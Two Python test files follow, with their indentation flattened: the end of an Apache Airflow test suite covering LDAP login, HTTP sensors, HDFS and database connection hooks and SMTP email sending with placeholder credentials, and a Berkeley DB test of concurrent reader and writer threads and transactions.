configuration.conf.set("ldap", "uri", "ldap://localhost:3890")
configuration.conf.set("ldap", "user_filter", "objectClass=*")
configuration.conf.set("ldap", "user_name_attr", "uid")
configuration.conf.set("ldap", "bind_user", "cn=Manager,dc=example,dc=com")
configuration.conf.set("ldap", "bind_password", "insecure")
configuration.conf.set("ldap", "basedn", "dc=example,dc=com")
configuration.conf.set("ldap", "cacert", "")
app = application.create_app()
app.config['TESTING'] = True
self.app = app.test_client()
def get_csrf(self, response):
tree = html.fromstring(response.data)
form = tree.find('.//form')
return form.find('.//input[@name="_csrf_token"]').value
def login(self, username, password):
response = self.app.get('/admin/airflow/login')
csrf_token = self.get_csrf(response)
return self.app.post('/admin/airflow/login', data=dict(
username=username,
password=password,
csrf_token=csrf_token
), follow_redirects=True)
def logout(self):
return self.app.get('/admin/airflow/logout', follow_redirects=True)
def test_login_logout_ldap(self):
self.assertTrue(configuration.getboolean('webserver', 'authenticate'))
response = self.login('user1', 'userx')
self.assertIn('Incorrect login details', response.data.decode('utf-8'))
response = self.login('userz', 'user1')
self.assertIn('Incorrect login details', response.data.decode('utf-8'))
response = self.login('user1', 'user1')
self.assertIn('Data Profiling', response.data.decode('utf-8'))
response = self.logout()
self.assertIn('form-signin', response.data.decode('utf-8'))
def test_unauthorized(self):
response = self.app.get("/admin/airflow/landing_times")
self.assertEqual(response.status_code, 302)
def test_no_filter(self):
response = self.login('user1', 'user1')
self.assertIn('Data Profiling', response.data.decode('utf-8'))
self.assertIn('Connections', response.data.decode('utf-8'))
def test_with_filters(self):
configuration.conf.set('ldap', 'superuser_filter',
'description=superuser')
configuration.conf.set('ldap', 'data_profiler_filter',
'description=dataprofiler')
response = self.login('dataprofiler', 'dataprofiler')
self.assertIn('Data Profiling', response.data.decode('utf-8'))
response = self.login('superuser', 'superuser')
self.assertIn('Connections', response.data.decode('utf-8'))
def tearDown(self):
configuration.load_test_config()
session = Session()
session.query(models.User).delete()
session.commit()
session.close()
configuration.conf.set("webserver", "authenticate", "False")
class LdapGroupTest(unittest.TestCase):
def setUp(self):
configuration.conf.set("webserver", "authenticate", "True")
configuration.conf.set("webserver", "auth_backend", "airflow.contrib.auth.backends.ldap_auth")
try:
configuration.conf.add_section("ldap")
except:
pass
configuration.conf.set("ldap", "uri", "ldap://localhost:3890")
configuration.conf.set("ldap", "user_filter", "objectClass=*")
configuration.conf.set("ldap", "user_name_attr", "uid")
configuration.conf.set("ldap", "bind_user", "cn=Manager,dc=example,dc=com")
configuration.conf.set("ldap", "bind_password", "insecure")
configuration.conf.set("ldap", "basedn", "dc=example,dc=com")
configuration.conf.set("ldap", "cacert", "")
def test_group_belonging(self):
from airflow.contrib.auth.backends.ldap_auth import LdapUser
users = {"user1": ["group1", "group3"],
"user2": ["group2"]
}
for user in users:
mu = models.User(username=user,
is_superuser=False)
auth = LdapUser(mu)
self.assertEqual(set(users[user]), set(auth.ldap_groups))
def tearDown(self):
configuration.load_test_config()
configuration.conf.set("webserver", "authenticate", "False")
class FakeSession(object):
def __init__(self):
from requests import Response
self.response = Response()
self.response.status_code = 200
self.response._content = 'airbnb/airflow'.encode('ascii', 'ignore')
def send(self, request, **kwargs):
return self.response
def prepare_request(self, request):
if 'date' in request.params:
self.response._content += (
'/' + request.params['date']).encode('ascii', 'ignore')
return self.response
class HttpOpSensorTest(unittest.TestCase):
def setUp(self):
configuration.load_test_config()
args = {'owner': 'airflow', 'start_date': DEFAULT_DATE_ISO}
dag = DAG(TEST_DAG_ID, default_args=args)
self.dag = dag
@mock.patch('requests.Session', FakeSession)
def test_get(self):
t = SimpleHttpOperator(
task_id='get_op',
method='GET',
endpoint='/search',
data={"client": "ubuntu", "q": "airflow"},
headers={},
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
@mock.patch('requests.Session', FakeSession)
def test_get_response_check(self):
t = SimpleHttpOperator(
task_id='get_op',
method='GET',
endpoint='/search',
data={"client": "ubuntu", "q": "airflow"},
response_check=lambda response: ("airbnb/airflow" in response.text),
headers={},
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
@mock.patch('requests.Session', FakeSession)
def test_sensor(self):
sensor = sensors.HttpSensor(
task_id='http_sensor_check',
http_conn_id='http_default',
endpoint='/search',
request_params={"client": "ubuntu", "q": "airflow", 'date': '{{ds}}'},
headers={},
response_check=lambda response: (
"airbnb/airflow/" + DEFAULT_DATE.strftime('%Y-%m-%d')
in response.text),
poke_interval=5,
timeout=15,
dag=self.dag)
sensor.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
class FakeWebHDFSHook(object):
def __init__(self, conn_id):
self.conn_id = conn_id
def get_conn(self):
return self.conn_id
def check_for_path(self, hdfs_path):
return hdfs_path
class FakeSnakeBiteClientException(Exception):
pass
class FakeSnakeBiteClient(object):
def __init__(self):
self.started = True
def ls(self, path, include_toplevel=False):
"""
the fake snakebite client
:param path: the array of path to test
:param include_toplevel: to return the toplevel directory info
:return: a list for path for the matching queries
"""
if path[0] == '/datadirectory/empty_directory' and not include_toplevel:
return []
elif path[0] == '/datadirectory/datafile':
return [{'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796,
'block_replication': 3, 'modification_time': 1481122343862, 'length': 0, 'blocksize': 134217728,
'owner': u'hdfs', 'path': '/datadirectory/datafile'}]
elif path[0] == '/datadirectory/empty_directory' and include_toplevel:
return [
{'group': u'supergroup', 'permission': 493, 'file_type': 'd', 'access_time': 0, 'block_replication': 0,
'modification_time': 1481132141540, 'length': 0, 'blocksize': 0, 'owner': u'hdfs',
'path': '/datadirectory/empty_directory'}]
elif path[0] == '/datadirectory/not_empty_directory' and include_toplevel:
return [
{'group': u'supergroup', 'permission': 493, 'file_type': 'd', 'access_time': 0, 'block_replication': 0,
'modification_time': 1481132141540, 'length': 0, 'blocksize': 0, 'owner': u'hdfs',
'path': '/datadirectory/empty_directory'},
{'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796,
'block_replication': 3, 'modification_time': 1481122343862, 'length': 0, 'blocksize': 134217728,
'owner': u'hdfs', 'path': '/datadirectory/not_empty_directory/test_file'}]
elif path[0] == '/datadirectory/not_empty_directory':
return [{'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796,
'block_replication': 3, 'modification_time': 1481122343862, 'length': 0, 'blocksize': 134217728,
'owner': u'hdfs', 'path': '/datadirectory/not_empty_directory/test_file'}]
elif path[0] == '/datadirectory/not_existing_file_or_directory':
raise FakeSnakeBiteClientException
elif path[0] == '/datadirectory/regex_dir':
return [{'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796,
'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728,
'owner': u'hdfs', 'path': '/datadirectory/regex_dir/test1file'},
{'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796,
'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728,
'owner': u'hdfs', 'path': '/datadirectory/regex_dir/test2file'},
{'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796,
'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728,
'owner': u'hdfs', 'path': '/datadirectory/regex_dir/test3file'},
{'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796,
'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728,
'owner': u'hdfs', 'path': '/datadirectory/regex_dir/copying_file_1.txt._COPYING_'},
{'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796,
'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728,
'owner': u'hdfs', 'path': '/datadirectory/regex_dir/copying_file_3.txt.sftp'}
]
else:
raise FakeSnakeBiteClientException
class FakeHDFSHook(object):
def __init__(self, conn_id=None):
self.conn_id = conn_id
def get_conn(self):
client = FakeSnakeBiteClient()
return client
class ConnectionTest(unittest.TestCase):
def setUp(self):
configuration.load_test_config()
utils.db.initdb()
os.environ['AIRFLOW_CONN_TEST_URI'] = (
'postgres://username:password@ec2.compute.com:5432/the_database')
os.environ['AIRFLOW_CONN_TEST_URI_NO_CREDS'] = (
'postgres://ec2.compute.com/the_database')
def tearDown(self):
env_vars = ['AIRFLOW_CONN_TEST_URI', 'AIRFLOW_CONN_AIRFLOW_DB']
for ev in env_vars:
if ev in os.environ:
del os.environ[ev]
def test_using_env_var(self):
c = SqliteHook.get_connection(conn_id='test_uri')
self.assertEqual('ec2.compute.com', c.host)
self.assertEqual('the_database', c.schema)
self.assertEqual('username', c.login)
self.assertEqual('password', c.password)
self.assertEqual(5432, c.port)
def test_using_unix_socket_env_var(self):
c = SqliteHook.get_connection(conn_id='test_uri_no_creds')
self.assertEqual('ec2.compute.com', c.host)
self.assertEqual('the_database', c.schema)
self.assertIsNone(c.login)
self.assertIsNone(c.password)
self.assertIsNone(c.port)
def test_param_setup(self):
c = models.Connection(conn_id='local_mysql', conn_type='mysql',
host='localhost', login='airflow',
password='airflow', schema='airflow')
self.assertEqual('localhost', c.host)
self.assertEqual('airflow', c.schema)
self.assertEqual('airflow', c.login)
self.assertEqual('airflow', c.password)
self.assertIsNone(c.port)
def test_env_var_priority(self):
c = SqliteHook.get_connection(conn_id='airflow_db')
self.assertNotEqual('ec2.compute.com', c.host)
os.environ['AIRFLOW_CONN_AIRFLOW_DB'] = \
'postgres://username:password@ec2.compute.com:5432/the_database'
c = SqliteHook.get_connection(conn_id='airflow_db')
self.assertEqual('ec2.compute.com', c.host)
self.assertEqual('the_database', c.schema)
self.assertEqual('username', c.login)
self.assertEqual('password', c.password)
self.assertEqual(5432, c.port)
del os.environ['AIRFLOW_CONN_AIRFLOW_DB']
def test_dbapi_get_uri(self):
conn = BaseHook.get_connection(conn_id='test_uri')
hook = conn.get_hook()
self.assertEqual('postgres://username:password@ec2.compute.com:5432/the_database', hook.get_uri())
conn2 = BaseHook.get_connection(conn_id='test_uri_no_creds')
hook2 = conn2.get_hook()
self.assertEqual('postgres://ec2.compute.com/the_database', hook2.get_uri())
def test_dbapi_get_sqlalchemy_engine(self):
conn = BaseHook.get_connection(conn_id='test_uri')
hook = conn.get_hook()
engine = hook.get_sqlalchemy_engine()
self.assertIsInstance(engine, sqlalchemy.engine.Engine)
self.assertEqual('postgres://username:password@ec2.compute.com:5432/the_database', str(engine.url))
def test_get_connections_env_var(self):
conns = SqliteHook.get_connections(conn_id='test_uri')
assert len(conns) == 1
assert conns[0].host == 'ec2.compute.com'
assert conns[0].schema == 'the_database'
assert conns[0].login == 'username'
assert conns[0].password == 'password'
assert conns[0].port == 5432
def test_get_connections_db(self):
conns = BaseHook.get_connections(conn_id='airflow_db')
assert len(conns) == 1
assert conns[0].host == 'localhost'
assert conns[0].schema == 'airflow'
assert conns[0].login == 'root'
class WebHDFSHookTest(unittest.TestCase):
def setUp(self):
configuration.load_test_config()
def test_simple_init(self):
from airflow.hooks.webhdfs_hook import WebHDFSHook
c = WebHDFSHook()
self.assertIsNone(c.proxy_user)
def test_init_proxy_user(self):
from airflow.hooks.webhdfs_hook import WebHDFSHook
c = WebHDFSHook(proxy_user='someone')
self.assertEqual('someone', c.proxy_user)
try:
from airflow.hooks.hdfs_hook import HDFSHook
import snakebite
except ImportError:
HDFSHook = None
@unittest.skipIf(HDFSHook is None,
"Skipping test because HDFSHook is not installed")
class HDFSHookTest(unittest.TestCase):
def setUp(self):
configuration.load_test_config()
os.environ['AIRFLOW_CONN_HDFS_DEFAULT'] = ('hdfs://localhost:8020')
def test_get_client(self):
client = HDFSHook(proxy_user='foo').get_conn()
self.assertIsInstance(client, snakebite.client.Client)
self.assertEqual('localhost', client.host)
self.assertEqual(8020, client.port)
self.assertEqual('foo', client.service.channel.effective_user)
@mock.patch('airflow.hooks.hdfs_hook.AutoConfigClient')
@mock.patch('airflow.hooks.hdfs_hook.HDFSHook.get_connections')
def test_get_autoconfig_client(self, mock_get_connections,
MockAutoConfigClient):
c = models.Connection(conn_id='hdfs', conn_type='hdfs',
host='localhost', port=8020, login='foo',
extra=json.dumps({'autoconfig': True}))
mock_get_connections.return_value = [c]
HDFSHook(hdfs_conn_id='hdfs').get_conn()
MockAutoConfigClient.assert_called_once_with(effective_user='foo',
use_sasl=False)
@mock.patch('airflow.hooks.hdfs_hook.AutoConfigClient')
def test_get_autoconfig_client_no_conn(self, MockAutoConfigClient):
HDFSHook(hdfs_conn_id='hdfs_missing', autoconfig=True).get_conn()
MockAutoConfigClient.assert_called_once_with(effective_user=None,
use_sasl=False)
@mock.patch('airflow.hooks.hdfs_hook.HDFSHook.get_connections')
def test_get_ha_client(self, mock_get_connections):
c1 = models.Connection(conn_id='hdfs_default', conn_type='hdfs',
host='localhost', port=8020)
c2 = models.Connection(conn_id='hdfs_default', conn_type='hdfs',
host='localhost2', port=8020)
mock_get_connections.return_value = [c1, c2]
client = HDFSHook().get_conn()
self.assertIsInstance(client, snakebite.client.HAClient)
try:
from airflow.hooks.http_hook import HttpHook
except ImportError:
HttpHook = None
@unittest.skipIf(HttpHook is None,
"Skipping test because HttpHook is not installed")
class HttpHookTest(unittest.TestCase):
def setUp(self):
configuration.load_test_config()
@mock.patch('airflow.hooks.http_hook.HttpHook.get_connection')
def test_http_connection(self, mock_get_connection):
c = models.Connection(conn_id='http_default', conn_type='http',
host='localhost', schema='http')
mock_get_connection.return_value = c
hook = HttpHook()
hook.get_conn({})
self.assertEqual(hook.base_url, 'http://localhost')
@mock.patch('airflow.hooks.http_hook.HttpHook.get_connection')
def test_https_connection(self, mock_get_connection):
c = models.Connection(conn_id='http_default', conn_type='http',
host='localhost', schema='https')
mock_get_connection.return_value = c
hook = HttpHook()
hook.get_conn({})
self.assertEqual(hook.base_url, 'https://localhost')
@mock.patch('airflow.hooks.http_hook.HttpHook.get_connection')
def test_host_encoded_http_connection(self, mock_get_connection):
c = models.Connection(conn_id='http_default', conn_type='http',
host='http://localhost')
mock_get_connection.return_value = c
hook = HttpHook()
hook.get_conn({})
self.assertEqual(hook.base_url, 'http://localhost')
@mock.patch('airflow.hooks.http_hook.HttpHook.get_connection')
def test_host_encoded_https_connection(self, mock_get_connection):
c = models.Connection(conn_id='http_default', conn_type='http',
host='https://localhost')
mock_get_connection.return_value = c
hook = HttpHook()
hook.get_conn({})
self.assertEqual(hook.base_url, 'https://localhost')
send_email_test = mock.Mock()
class EmailTest(unittest.TestCase):
def setUp(self):
configuration.remove_option('email', 'EMAIL_BACKEND')
@mock.patch('airflow.utils.email.send_email')
def test_default_backend(self, mock_send_email):
res = utils.email.send_email('to', 'subject', 'content')
mock_send_email.assert_called_with('to', 'subject', 'content')
self.assertEqual(mock_send_email.return_value, res)
@mock.patch('airflow.utils.email.send_email_smtp')
def test_custom_backend(self, mock_send_email):
configuration.set('email', 'EMAIL_BACKEND', 'tests.core.send_email_test')
utils.email.send_email('to', 'subject', 'content')
send_email_test.assert_called_with('to', 'subject', 'content', files=None, dryrun=False, cc=None, bcc=None, mime_subtype='mixed')
self.assertFalse(mock_send_email.called)
class EmailSmtpTest(unittest.TestCase):
def setUp(self):
configuration.set('smtp', 'SMTP_SSL', 'False')
@mock.patch('airflow.utils.email.send_MIME_email')
def test_send_smtp(self, mock_send_mime):
attachment = tempfile.NamedTemporaryFile()
attachment.write(b'attachment')
attachment.seek(0)
utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name])
self.assertTrue(mock_send_mime.called)
call_args = mock_send_mime.call_args[0]
self.assertEqual(configuration.get('smtp', 'SMTP_MAIL_FROM'), call_args[0])
self.assertEqual(['to'], call_args[1])
msg = call_args[2]
self.assertEqual('subject', msg['Subject'])
self.assertEqual(configuration.get('smtp', 'SMTP_MAIL_FROM'), msg['From'])
self.assertEqual(2, len(msg.get_payload()))
self.assertEqual(u'attachment; filename="' + os.path.basename(attachment.name) + '"',
msg.get_payload()[-1].get(u'Content-Disposition'))
mimeapp = MIMEApplication('attachment')
self.assertEqual(mimeapp.get_payload(), msg.get_payload()[-1].get_payload())
@mock.patch('airflow.utils.email.send_MIME_email')
def test_send_bcc_smtp(self, mock_send_mime):
attachment = tempfile.NamedTemporaryFile()
attachment.write(b'attachment')
attachment.seek(0)
utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name], cc='cc', bcc='bcc')
self.assertTrue(mock_send_mime.called)
call_args = mock_send_mime.call_args[0]
self.assertEqual(configuration.get('smtp', 'SMTP_MAIL_FROM'), call_args[0])
self.assertEqual(['to', 'cc', 'bcc'], call_args[1])
msg = call_args[2]
self.assertEqual('subject', msg['Subject'])
self.assertEqual(configuration.get('smtp', 'SMTP_MAIL_FROM'), msg['From'])
self.assertEqual(2, len(msg.get_payload()))
self.assertEqual(u'attachment; filename="' + os.path.basename(attachment.name) + '"',
msg.get_payload()[-1].get(u'Content-Disposition'))
mimeapp = MIMEApplication('attachment')
self.assertEqual(mimeapp.get_payload(), msg.get_payload()[-1].get_payload())
@mock.patch('smtplib.SMTP_SSL')
@mock.patch('smtplib.SMTP')
def test_send_mime(self, mock_smtp, mock_smtp_ssl):
mock_smtp.return_value = mock.Mock()
mock_smtp_ssl.return_value = mock.Mock()
msg = MIMEMultipart()
utils.email.send_MIME_email('from', 'to', msg, dryrun=False)
mock_smtp.assert_called_with(
configuration.get('smtp', 'SMTP_HOST'),
configuration.getint('smtp', 'SMTP_PORT'),
)
self.assertTrue(mock_smtp.return_value.starttls.called)
mock_smtp.return_value.login.assert_called_with(
configuration.get('smtp', 'SMTP_USER'),
configuration.get('smtp', 'SMTP_PASSWORD'),
)
mock_smtp.return_value.sendmail.assert_called_with('from', 'to', msg.as_string())
self.assertTrue(mock_smtp.return_value.quit.called)
@mock.patch('smtplib.SMTP_SSL')
@mock.patch('smtplib.SMTP')
def test_send_mime_ssl(self, mock_smtp, mock_smtp_ssl):
configuration.set('smtp', 'SMTP_SSL', 'True')
mock_smtp.return_value = mock.Mock()
mock_smtp_ssl.return_value = mock.Mock()
utils.email.send_MIME_email('from', 'to', MIMEMultipart(), dryrun=False)
self.assertFalse(mock_smtp.called)
mock_smtp_ssl.assert_called_with(
configuration.get('smtp', 'SMTP_HOST'),
configuration.getint('smtp', 'SMTP_PORT'),
)
@mock.patch('smtplib.SMTP_SSL')
@mock.patch('smtplib.SMTP')
def test_send_mime_noauth(self, mock_smtp, mock_smtp_ssl):
configuration.conf.remove_option('smtp', 'SMTP_USER')
configuration.conf.remove_option('smtp', 'SMTP_PASSWORD')
mock_smtp.return_value = mock.Mock()
mock_smtp_ssl.return_value = mock.Mock()
utils.email.send_MIME_email('from', 'to', MIMEMultipart(), dryrun=False)
self.assertFalse(mock_smtp_ssl.called)
mock_smtp.assert_called_with(
configuration.get('smtp', 'SMTP_HOST'),
configuration.getint('smtp', 'SMTP_PORT'),
)
self.assertFalse(mock_smtp.login.called)
@mock.patch('smtplib.SMTP_SSL')
@mock.patch('smtplib.SMTP')
def test_send_mime_dryrun(self, mock_smtp, mock_smtp_ssl):
utils.email.send_MIME_email('from', 'to', MIMEMultipart(), dryrun=True)
self.assertFalse(mock_smtp.called)
self.assertFalse(mock_smtp_ssl.called)
if __name__ == '__main__':
unittest.main()
|
test_thread.py
|
"""TestCases for multi-threaded access to a DB.
"""
import os
import sys
import time
import errno
from random import random
DASH = '-'
try:
WindowsError
except NameError:
class WindowsError(Exception):
pass
import unittest
from test_all import db, dbutils, test_support, verbose, have_threads, \
get_new_environment_path, get_new_database_path
if have_threads :
from threading import Thread
import sys
if sys.version_info[0] < 3 :
from threading import currentThread
else :
from threading import current_thread as currentThread
#----------------------------------------------------------------------
class BaseThreadedTestCase(unittest.TestCase):
dbtype = db.DB_UNKNOWN # must be set in derived class
dbopenflags = 0
dbsetflags = 0
envflags = 0
import sys
if sys.version_info[:3] < (2, 4, 0):
def assertTrue(self, expr, msg=None):
self.failUnless(expr,msg=msg)
def setUp(self):
if verbose:
dbutils._deadlock_VerboseFile = sys.stdout
self.homeDir = get_new_environment_path()
self.env = db.DBEnv()
self.setEnvOpts()
self.env.open(self.homeDir, self.envflags | db.DB_CREATE)
self.filename = self.__class__.__name__ + '.db'
self.d = db.DB(self.env)
if self.dbsetflags:
self.d.set_flags(self.dbsetflags)
self.d.open(self.filename, self.dbtype, self.dbopenflags|db.DB_CREATE)
def tearDown(self):
self.d.close()
self.env.close()
test_support.rmtree(self.homeDir)
def setEnvOpts(self):
pass
def makeData(self, key):
return DASH.join([key] * 5)
#----------------------------------------------------------------------
class ConcurrentDataStoreBase(BaseThreadedTestCase):
dbopenflags = db.DB_THREAD
envflags = db.DB_THREAD | db.DB_INIT_CDB | db.DB_INIT_MPOOL
readers = 0 # derived class should set
writers = 0
records = 1000
def test01_1WriterMultiReaders(self):
if verbose:
print '\n', '-=' * 30
print "Running %s.test01_1WriterMultiReaders..." % \
self.__class__.__name__
keys=range(self.records)
import random
random.shuffle(keys)
records_per_writer=self.records//self.writers
readers_per_writer=self.readers//self.writers
self.assertEqual(self.records,self.writers*records_per_writer)
self.assertEqual(self.readers,self.writers*readers_per_writer)
self.assertTrue((records_per_writer%readers_per_writer)==0)
readers = []
for x in xrange(self.readers):
rt = Thread(target = self.readerThread,
args = (self.d, x),
name = 'reader %d' % x,
)#verbose = verbose)
import sys
if sys.version_info[0] < 3 :
rt.setDaemon(True)
else :
rt.daemon = True
readers.append(rt)
writers=[]
for x in xrange(self.writers):
a=keys[records_per_writer*x:records_per_writer*(x+1)]
a.sort() # Generate conflicts
b=readers[readers_per_writer*x:readers_per_writer*(x+1)]
wt = Thread(target = self.writerThread,
args = (self.d, a, b),
name = 'writer %d' % x,
)#verbose = verbose)
writers.append(wt)
for t in writers:
import sys
if sys.version_info[0] < 3 :
t.setDaemon(True)
else :
t.daemon = True
t.start()
for t in writers:
t.join()
for t in readers:
t.join()
def writerThread(self, d, keys, readers):
import sys
if sys.version_info[0] < 3 :
name = currentThread().getName()
else :
name = currentThread().name
if verbose:
print "%s: creating records %d - %d" % (name, start, stop)
count=len(keys)//len(readers)
count2=count
for x in keys :
key = '%04d' % x
dbutils.DeadlockWrap(d.put, key, self.makeData(key),
max_retries=12)
if verbose and x % 100 == 0:
print "%s: records %d - %d finished" % (name, start, x)
count2-=1
if not count2 :
readers.pop().start()
count2=count
if verbose:
print "%s: finished creating records" % name
if verbose:
print "%s: thread finished" % name
def readerThread(self, d, readerNum):
import sys
if sys.version_info[0] < 3 :
name = currentThread().getName()
else :
name = currentThread().name
for i in xrange(5) :
c = d.cursor()
count = 0
rec = c.first()
while rec:
count += 1
key, data = rec
self.assertEqual(self.makeData(key), data)
rec = c.next()
if verbose:
print "%s: found %d records" % (name, count)
c.close()
if verbose:
print "%s: thread finished" % name
class BTreeConcurrentDataStore(ConcurrentDataStoreBase):
dbtype = db.DB_BTREE
writers = 2
readers = 10
records = 1000
class HashConcurrentDataStore(ConcurrentDataStoreBase):
dbtype = db.DB_HASH
writers = 2
readers = 10
records = 1000
#----------------------------------------------------------------------
class SimpleThreadedBase(BaseThreadedTestCase):
dbopenflags = db.DB_THREAD
envflags = db.DB_THREAD | db.DB_INIT_MPOOL | db.DB_INIT_LOCK
readers = 10
writers = 2
records = 1000
def setEnvOpts(self):
self.env.set_lk_detect(db.DB_LOCK_DEFAULT)
def test02_SimpleLocks(self):
if verbose:
print '\n', '-=' * 30
print "Running %s.test02_SimpleLocks..." % self.__class__.__name__
keys=range(self.records)
import random
random.shuffle(keys)
records_per_writer=self.records//self.writers
readers_per_writer=self.readers//self.writers
self.assertEqual(self.records,self.writers*records_per_writer)
self.assertEqual(self.readers,self.writers*readers_per_writer)
self.assertTrue((records_per_writer%readers_per_writer)==0)
readers = []
for x in xrange(self.readers):
rt = Thread(target = self.readerThread,
args = (self.d, x),
name = 'reader %d' % x,
)#verbose = verbose)
import sys
if sys.version_info[0] < 3 :
rt.setDaemon(True)
else :
rt.daemon = True
readers.append(rt)
writers = []
for x in xrange(self.writers):
a=keys[records_per_writer*x:records_per_writer*(x+1)]
a.sort() # Generate conflicts
b=readers[readers_per_writer*x:readers_per_writer*(x+1)]
wt = Thread(target = self.writerThread,
args = (self.d, a, b),
name = 'writer %d' % x,
)#verbose = verbose)
writers.append(wt)
for t in writers:
import sys
if sys.version_info[0] < 3 :
t.setDaemon(True)
else :
t.daemon = True
t.start()
for t in writers:
t.join()
for t in readers:
t.join()
def writerThread(self, d, keys, readers):
import sys
if sys.version_info[0] < 3 :
name = currentThread().getName()
else :
name = currentThread().name
if verbose:
print "%s: creating records %d - %d" % (name, start, stop)
count=len(keys)//len(readers)
count2=count
for x in keys :
key = '%04d' % x
dbutils.DeadlockWrap(d.put, key, self.makeData(key),
max_retries=12)
if verbose and x % 100 == 0:
print "%s: records %d - %d finished" % (name, start, x)
count2-=1
if not count2 :
readers.pop().start()
count2=count
if verbose:
print "%s: thread finished" % name
def readerThread(self, d, readerNum):
import sys
if sys.version_info[0] < 3 :
name = currentThread().getName()
else :
name = currentThread().name
c = d.cursor()
count = 0
rec = dbutils.DeadlockWrap(c.first, max_retries=10)
while rec:
count += 1
key, data = rec
self.assertEqual(self.makeData(key), data)
rec = dbutils.DeadlockWrap(c.next, max_retries=10)
if verbose:
print "%s: found %d records" % (name, count)
c.close()
if verbose:
print "%s: thread finished" % name
class BTreeSimpleThreaded(SimpleThreadedBase):
dbtype = db.DB_BTREE
class HashSimpleThreaded(SimpleThreadedBase):
dbtype = db.DB_HASH
#----------------------------------------------------------------------
class ThreadedTransactionsBase(BaseThreadedTestCase):
dbopenflags = db.DB_THREAD | db.DB_AUTO_COMMIT
envflags = (db.DB_THREAD |
db.DB_INIT_MPOOL |
db.DB_INIT_LOCK |
db.DB_INIT_LOG |
db.DB_INIT_TXN
)
readers = 0
writers = 0
records = 2000
txnFlag = 0
def setEnvOpts(self):
#self.env.set_lk_detect(db.DB_LOCK_DEFAULT)
pass
def test03_ThreadedTransactions(self):
if verbose:
print '\n', '-=' * 30
print "Running %s.test03_ThreadedTransactions..." % \
self.__class__.__name__
keys=range(self.records)
import random
random.shuffle(keys)
records_per_writer=self.records//self.writers
readers_per_writer=self.readers//self.writers
self.assertEqual(self.records,self.writers*records_per_writer)
self.assertEqual(self.readers,self.writers*readers_per_writer)
self.assertTrue((records_per_writer%readers_per_writer)==0)
readers=[]
for x in xrange(self.readers):
rt = Thread(target = self.readerThread,
args = (self.d, x),
name = 'reader %d' % x,
)#verbose = verbose)
import sys
if sys.version_info[0] < 3 :
rt.setDaemon(True)
else :
rt.daemon = True
readers.append(rt)
writers = []
for x in xrange(self.writers):
a=keys[records_per_writer*x:records_per_writer*(x+1)]
b=readers[readers_per_writer*x:readers_per_writer*(x+1)]
wt = Thread(target = self.writerThread,
args = (self.d, a, b),
name = 'writer %d' % x,
)#verbose = verbose)
writers.append(wt)
dt = Thread(target = self.deadlockThread)
import sys
if sys.version_info[0] < 3 :
dt.setDaemon(True)
else :
dt.daemon = True
dt.start()
for t in writers:
import sys
if sys.version_info[0] < 3 :
t.setDaemon(True)
else :
t.daemon = True
t.start()
for t in writers:
t.join()
for t in readers:
t.join()
self.doLockDetect = False
dt.join()
def writerThread(self, d, keys, readers):
import sys
if sys.version_info[0] < 3 :
name = currentThread().getName()
else :
name = currentThread().name
count=len(keys)//len(readers)
while len(keys):
try:
txn = self.env.txn_begin(None, self.txnFlag)
keys2=keys[:count]
for x in keys2 :
key = '%04d' % x
d.put(key, self.makeData(key), txn)
if verbose and x % 100 == 0:
print "%s: records %d - %d finished" % (name, start, x)
txn.commit()
keys=keys[count:]
readers.pop().start()
except (db.DBLockDeadlockError, db.DBLockNotGrantedError), val:
if verbose:
print "%s: Aborting transaction (%s)" % (name, val[1])
txn.abort()
if verbose:
print "%s: thread finished" % name
def readerThread(self, d, readerNum):
import sys
if sys.version_info[0] < 3 :
name = currentThread().getName()
else :
name = currentThread().name
finished = False
while not finished:
try:
txn = self.env.txn_begin(None, self.txnFlag)
c = d.cursor(txn)
count = 0
rec = c.first()
while rec:
count += 1
key, data = rec
self.assertEqual(self.makeData(key), data)
rec = c.next()
if verbose: print "%s: found %d records" % (name, count)
c.close()
txn.commit()
finished = True
except (db.DBLockDeadlockError, db.DBLockNotGrantedError), val:
if verbose:
print "%s: Aborting transaction (%s)" % (name, val[1])
c.close()
txn.abort()
if verbose:
print "%s: thread finished" % name
def deadlockThread(self):
self.doLockDetect = True
while self.doLockDetect:
time.sleep(0.05)
try:
aborted = self.env.lock_detect(
db.DB_LOCK_RANDOM, db.DB_LOCK_CONFLICT)
if verbose and aborted:
print "deadlock: Aborted %d deadlocked transaction(s)" \
% aborted
except db.DBError:
pass
class BTreeThreadedTransactions(ThreadedTransactionsBase):
dbtype = db.DB_BTREE
writers = 2
readers = 10
records = 1000
class HashThreadedTransactions(ThreadedTransactionsBase):
dbtype = db.DB_HASH
writers = 2
readers = 10
records = 1000
class BTreeThreadedNoWaitTransactions(ThreadedTransactionsBase):
dbtype = db.DB_BTREE
writers = 2
readers = 10
records = 1000
txnFlag = db.DB_TXN_NOWAIT
class HashThreadedNoWaitTransactions(ThreadedTransactionsBase):
dbtype = db.DB_HASH
writers = 2
readers = 10
records = 1000
txnFlag = db.DB_TXN_NOWAIT
#----------------------------------------------------------------------
def test_suite():
suite = unittest.TestSuite()
if have_threads:
suite.addTest(unittest.makeSuite(BTreeConcurrentDataStore))
suite.addTest(unittest.makeSuite(HashConcurrentDataStore))
suite.addTest(unittest.makeSuite(BTreeSimpleThreaded))
